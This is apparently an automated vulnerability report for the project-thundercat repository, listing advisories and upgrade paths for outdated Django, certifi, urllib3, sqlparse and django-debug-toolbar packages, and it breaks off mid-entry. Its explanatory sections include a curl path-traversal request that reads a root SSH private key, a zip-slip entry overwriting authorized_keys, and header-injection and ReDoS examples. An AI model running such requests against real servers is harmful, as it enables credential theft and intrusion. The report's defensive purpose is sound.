Find, fix and prevent vulnerabilities in your code.
critical severity
- Vulnerable module: certifi
- Introduced through: certifi@2019.3.9, requests@2.21.0 and others
Detailed paths
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › certifi@2019.3.9Remediation: Upgrade to certifi@2023.7.22.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › requests@2.21.0 › certifi@2019.3.9Remediation: Upgrade to requests@2.32.0.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › coreapi@2.3.3 › requests@2.21.0 › certifi@2019.3.9Remediation: Upgrade to coreapi@2.3.3.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › openapi-codec@1.3.2 › coreapi@2.3.3 › requests@2.21.0 › certifi@2019.3.9Remediation: Upgrade to openapi-codec@1.3.2.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-rest-swagger@2.2.0 › coreapi@2.3.3 › requests@2.21.0 › certifi@2019.3.9
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-rest-swagger@2.2.0 › openapi-codec@1.3.2 › coreapi@2.3.3 › requests@2.21.0 › certifi@2019.3.9
Overview
Affected versions of this package are vulnerable to Improper Following of a Certificate's Chain of Trust. E-Tugra's root certificates are being removed pursuant to an investigation prompted by reporting of security issues in their systems. Conclusions of Mozilla's investigation can be found here.
Note:
This issue is not an inherent vulnerability in the package, but a security measure against potential harmful effects of trusting the now-revoked root certificates.
Remediation
Upgrade certifi
to version 2023.7.22 or higher.
References
critical severity
- Vulnerable module: django
- Introduced through: django@2.1.7, django-cors-headers@3.0.0 and others
Detailed paths
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django@2.1.7Remediation: Upgrade to django@2.2.28.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-cors-headers@3.0.0 › django@2.1.7Remediation: Upgrade to django-cors-headers@3.0.0.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-debug-toolbar@1.11 › django@2.1.7Remediation: Upgrade to django-debug-toolbar@1.11.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › djangorestframework-simplejwt@4.3.0 › django@2.1.7Remediation: Upgrade to djangorestframework-simplejwt@4.7.0.
Overview
Django is a high-level Python Web framework that encourages rapid development and clean, pragmatic design.
Affected versions of this package are vulnerable to SQL Injection via QuerySet.explain(**options)
in option names, using a suitably crafted dictionary, with dictionary expansion, as the **options argument on PostgreSQL
.
Remediation
Upgrade Django
to version 2.2.28, 3.2.13, 4.0.4 or higher.
References
critical severity
- Vulnerable module: django
- Introduced through: django@2.1.7, django-cors-headers@3.0.0 and others
Detailed paths
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django@2.1.7Remediation: Upgrade to django@2.2.28.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-cors-headers@3.0.0 › django@2.1.7Remediation: Upgrade to django-cors-headers@3.0.0.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-debug-toolbar@1.11 › django@2.1.7Remediation: Upgrade to django-debug-toolbar@1.11.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › djangorestframework-simplejwt@4.3.0 › django@2.1.7Remediation: Upgrade to djangorestframework-simplejwt@4.7.0.
Overview
Django is a high-level Python Web framework that encourages rapid development and clean, pragmatic design.
Affected versions of this package are vulnerable to SQL Injection in QuerySet.annotate()
, aggregate()
, and extra()
methods, in column aliases, using a suitably crafted dictionary, with dictionary expansion, as the **kwargs
passed to these methods.
Remediation
Upgrade Django
to version 2.2.28, 3.2.13, 4.0.4 or higher.
References
critical severity
- Vulnerable module: django
- Introduced through: django@2.1.7, django-cors-headers@3.0.0 and others
Detailed paths
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django@2.1.7Remediation: Upgrade to django@4.2.15.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-cors-headers@3.0.0 › django@2.1.7Remediation: Upgrade to django-cors-headers@3.0.0.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-debug-toolbar@1.11 › django@2.1.7Remediation: Upgrade to django-debug-toolbar@1.11.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › djangorestframework-simplejwt@4.3.0 › django@2.1.7Remediation: Upgrade to djangorestframework-simplejwt@4.7.0.
Overview
Affected versions of this package are vulnerable to SQL Injection via the QuerySet.values()
and values_list()
methods on models with a JSONField
.
An attacker can exploit this vulnerability through column aliases by using a maliciously crafted JSON object object key as a passed *arg
.
Remediation
Upgrade django
to version 4.2.15, 5.0.8 or higher.
References
critical severity
- Vulnerable module: django
- Introduced through: django@2.1.7, django-cors-headers@3.0.0 and others
Detailed paths
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django@2.1.7Remediation: Upgrade to django@4.2.17.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-cors-headers@3.0.0 › django@2.1.7Remediation: Upgrade to django-cors-headers@3.0.0.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-debug-toolbar@1.11 › django@2.1.7Remediation: Upgrade to django-debug-toolbar@1.11.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › djangorestframework-simplejwt@4.3.0 › django@2.1.7Remediation: Upgrade to djangorestframework-simplejwt@4.7.0.
Overview
Affected versions of this package are vulnerable to SQL Injection via the django.db.models.fields.json.HasKey
lookup on Oracle, if untrusted data is used as a lhs
value. An attacker can manipulate SQL queries and access or alter database information.
Note:
Applications that use the jsonfield.has_key
lookup through the __
syntax are unaffected.
Remediation
Upgrade django
to version 4.2.17, 5.0.10, 5.1.4 or higher.
References
critical severity
- Vulnerable module: django
- Introduced through: django@2.1.7, django-cors-headers@3.0.0 and others
Detailed paths
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django@2.1.7Remediation: Upgrade to django@3.2.14.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-cors-headers@3.0.0 › django@2.1.7Remediation: Upgrade to django-cors-headers@3.0.0.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-debug-toolbar@1.11 › django@2.1.7Remediation: Upgrade to django-debug-toolbar@1.11.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › djangorestframework-simplejwt@4.3.0 › django@2.1.7Remediation: Upgrade to djangorestframework-simplejwt@4.7.0.
Overview
Django is a high-level Python Web framework that encourages rapid development and clean, pragmatic design.
Affected versions of this package are vulnerable to SQL Injection via the Trunc(kind)
and Extract(lookup_name)
arguments, if untrusted data is used as a kind/lookup_name
value.
Note: Applications that constrain the lookup name and kind choice to a known safe list are unaffected.
Django 4.1 pre-released versions (4.1a1, 4.1a2) are affected by this issue, please avoid using the 4.1 branch until 4.1.0 is released.
Remediation
Upgrade Django
to version 3.2.14, 4.0.6 or higher.
References
high severity
- Vulnerable module: django
- Introduced through: django@2.1.7, django-cors-headers@3.0.0 and others
Detailed paths
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django@2.1.7Remediation: Upgrade to django@4.2.20.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-cors-headers@3.0.0 › django@2.1.7Remediation: Upgrade to django-cors-headers@3.0.0.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-debug-toolbar@1.11 › django@2.1.7Remediation: Upgrade to django-debug-toolbar@1.11.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › djangorestframework-simplejwt@4.3.0 › django@2.1.7Remediation: Upgrade to djangorestframework-simplejwt@4.7.0.
Overview
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the django.utils.text.wrap()
function and wordwrap
template filter. When either is supplied an excessively long string it may render the application unresponsive.
Remediation
Upgrade django
to version 4.2.20, 5.0.13, 5.1.7 or higher.
References
high severity
- Vulnerable module: django-debug-toolbar
- Introduced through: django-debug-toolbar@1.11
Detailed paths
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-debug-toolbar@1.11Remediation: Upgrade to django-debug-toolbar@1.11.1.
Overview
django-debug-toolbar is an A configurable set of panels that display various debug information about the current request/response.
Affected versions of this package are vulnerable to SQL Injection in the SQL Panel in Jazzband Django Debug Toolbar. It allows attackers to execute SQL statements by changing the raw_sql
input field of the SQL explain, analyze, or select form.
Remediation
Upgrade django-debug-toolbar
to version 1.11.1, 2.2.1, 3.2.1 or higher.
References
high severity
- Vulnerable module: urllib3
- Introduced through: urllib3@1.24.3, requests@2.21.0 and others
Detailed paths
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › urllib3@1.24.3Remediation: Upgrade to urllib3@1.25.9.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › requests@2.21.0 › urllib3@1.24.3Remediation: Upgrade to requests@2.32.0.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › coreapi@2.3.3 › requests@2.21.0 › urllib3@1.24.3Remediation: Upgrade to coreapi@2.3.3.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › openapi-codec@1.3.2 › coreapi@2.3.3 › requests@2.21.0 › urllib3@1.24.3Remediation: Upgrade to openapi-codec@1.3.2.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-rest-swagger@2.2.0 › coreapi@2.3.3 › requests@2.21.0 › urllib3@1.24.3
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-rest-swagger@2.2.0 › openapi-codec@1.3.2 › coreapi@2.3.3 › requests@2.21.0 › urllib3@1.24.3
Overview
urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.
Affected versions of this package are vulnerable to HTTP Header Injection. The 'method' parameter is not filtered to prevent the injection from altering the entire request.
For example:
>>> conn = http.client.HTTPConnection("localhost", 80)
>>> conn.request(method="GET / HTTP/1.1\r\nHost: abc\r\nRemainder:", url="/index.html")
This will result in the following request being generated:
GET / HTTP/1.1
Host: abc
Remainder: /index.html HTTP/1.1
Host: localhost
Accept-Encoding: identity
Remediation
Upgrade urllib3
to version 1.25.9 or higher.
References
high severity
- Vulnerable module: django
- Introduced through: django@2.1.7, django-cors-headers@3.0.0 and others
Detailed paths
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django@2.1.7Remediation: Upgrade to django@2.2.27.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-cors-headers@3.0.0 › django@2.1.7Remediation: Upgrade to django-cors-headers@3.0.0.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-debug-toolbar@1.11 › django@2.1.7Remediation: Upgrade to django-debug-toolbar@1.11.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › djangorestframework-simplejwt@4.3.0 › django@2.1.7Remediation: Upgrade to djangorestframework-simplejwt@4.7.0.
Overview
Affected versions of this package are vulnerable to Denial of Service (DoS) via an infinite loop during file parsing that occurs when certain inputs are passed to multipart forms.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
ws
package
Remediation
Upgrade django
to version 2.2.27, 3.2.12, 4.0.2 or higher.
References
high severity
- Vulnerable module: django
- Introduced through: django@2.1.7, django-cors-headers@3.0.0 and others
Detailed paths
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django@2.1.7Remediation: Upgrade to django@3.2.18.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-cors-headers@3.0.0 › django@2.1.7Remediation: Upgrade to django-cors-headers@3.0.0.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-debug-toolbar@1.11 › django@2.1.7Remediation: Upgrade to django-debug-toolbar@1.11.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › djangorestframework-simplejwt@4.3.0 › django@2.1.7Remediation: Upgrade to djangorestframework-simplejwt@4.7.0.
Overview
Affected versions of this package are vulnerable to Denial of Service (DoS) when parsing multipart form data in http/multipartparser.py
. An attacker can trigger the opening of a large number of uploaded files which are not subsequently closed, consuming memory or filehandling resources.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
ws
package
Remediation
Upgrade django
to version 3.2.18, 4.0.10, 4.1.7 or higher.
References
high severity
- Vulnerable module: django
- Introduced through: django@2.1.7, django-cors-headers@3.0.0 and others
Detailed paths
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django@2.1.7Remediation: Upgrade to django@3.2.21.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-cors-headers@3.0.0 › django@2.1.7Remediation: Upgrade to django-cors-headers@3.0.0.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-debug-toolbar@1.11 › django@2.1.7Remediation: Upgrade to django-debug-toolbar@1.11.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › djangorestframework-simplejwt@4.3.0 › django@2.1.7Remediation: Upgrade to djangorestframework-simplejwt@4.7.0.
Overview
Affected versions of this package are vulnerable to Denial of Service (DoS) in the django.utils.encoding.uri_to_iri()
function when processing inputs with a large number of Unicode characters.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
ws
package
Remediation
Upgrade django
to version 3.2.21, 4.1.11, 4.2.5 or higher.
References
high severity
- Vulnerable module: django
- Introduced through: django@2.1.7, django-cors-headers@3.0.0 and others
Detailed paths
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django@2.1.7Remediation: Upgrade to django@2.2.24.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-cors-headers@3.0.0 › django@2.1.7Remediation: Upgrade to django-cors-headers@3.0.0.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-debug-toolbar@1.11 › django@2.1.7Remediation: Upgrade to django-debug-toolbar@1.11.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › djangorestframework-simplejwt@4.3.0 › django@2.1.7Remediation: Upgrade to djangorestframework-simplejwt@4.7.0.
Overview
Django is a high-level Python Web framework that encourages rapid development and clean, pragmatic design.
Affected versions of this package are vulnerable to Directory Traversal via admindocs
TemplateDetailView
.
Details
A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.
Directory Traversal vulnerabilities can be generally divided into two types:
- Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.
st
is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public
route.
If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.
curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa
Note %2e
is the URL encoded version of .
(dot).
- Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as
Zip-Slip
.
One way to achieve this is by using a malicious zip
archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.
The following is an example of a zip
archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/
overwriting the authorized_keys
file:
2018-04-15 22:04:29 ..... 19 19 good.txt
2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys
Remediation
Upgrade Django
to version 3.2.4, 3.1.12, 2.2.24 or higher.
References
high severity
- Vulnerable module: django
- Introduced through: django@2.1.7, django-cors-headers@3.0.0 and others
Detailed paths
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django@2.1.7Remediation: Upgrade to django@3.2.20.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-cors-headers@3.0.0 › django@2.1.7Remediation: Upgrade to django-cors-headers@3.0.0.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-debug-toolbar@1.11 › django@2.1.7Remediation: Upgrade to django-debug-toolbar@1.11.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › djangorestframework-simplejwt@4.3.0 › django@2.1.7Remediation: Upgrade to djangorestframework-simplejwt@4.7.0.
Overview
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) in the EmailValidator
and URLValidator
classes, when processing a very large number of domain name labels on emails or URLs.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade django
to version 3.2.20, 4.1.10, 4.2.3 or higher.
References
high severity
- Vulnerable module: sqlparse
- Introduced through: sqlparse@0.3.0 and django-debug-toolbar@1.11
Detailed paths
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › sqlparse@0.3.0Remediation: Upgrade to sqlparse@0.4.2.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-debug-toolbar@1.11 › sqlparse@0.3.0Remediation: Upgrade to django-debug-toolbar@3.2.3.
Overview
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). The formatter function that strips comments from a SQL contains a regular expression that is vulnerable to ReDoS. The regular expression may cause exponential backtracking on strings containing many repetitions of \r\n
in SQL comments.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade sqlparse
to version 0.4.2 or higher.
References
high severity
- Vulnerable module: sqlparse
- Introduced through: sqlparse@0.3.0 and django-debug-toolbar@1.11
Detailed paths
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › sqlparse@0.3.0Remediation: Upgrade to sqlparse@0.4.4.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-debug-toolbar@1.11 › sqlparse@0.3.0Remediation: Upgrade to django-debug-toolbar@3.2.3.
Overview
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to using an inefficient pattern which can cause excessive backtracking, leading to performance degradation.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
